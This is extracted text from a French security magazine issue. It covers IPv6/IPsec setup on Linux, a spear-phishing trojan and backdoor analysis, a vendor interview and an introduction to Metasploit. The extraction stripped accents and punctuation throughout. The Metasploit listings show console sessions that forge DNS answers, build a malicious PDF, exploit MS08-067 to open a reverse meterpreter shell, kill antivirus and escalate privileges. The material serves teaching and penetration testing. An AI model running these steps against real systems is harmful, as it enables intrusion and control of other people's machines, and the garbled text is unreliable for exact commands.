A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 16: hakin9_05_2010_FR

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

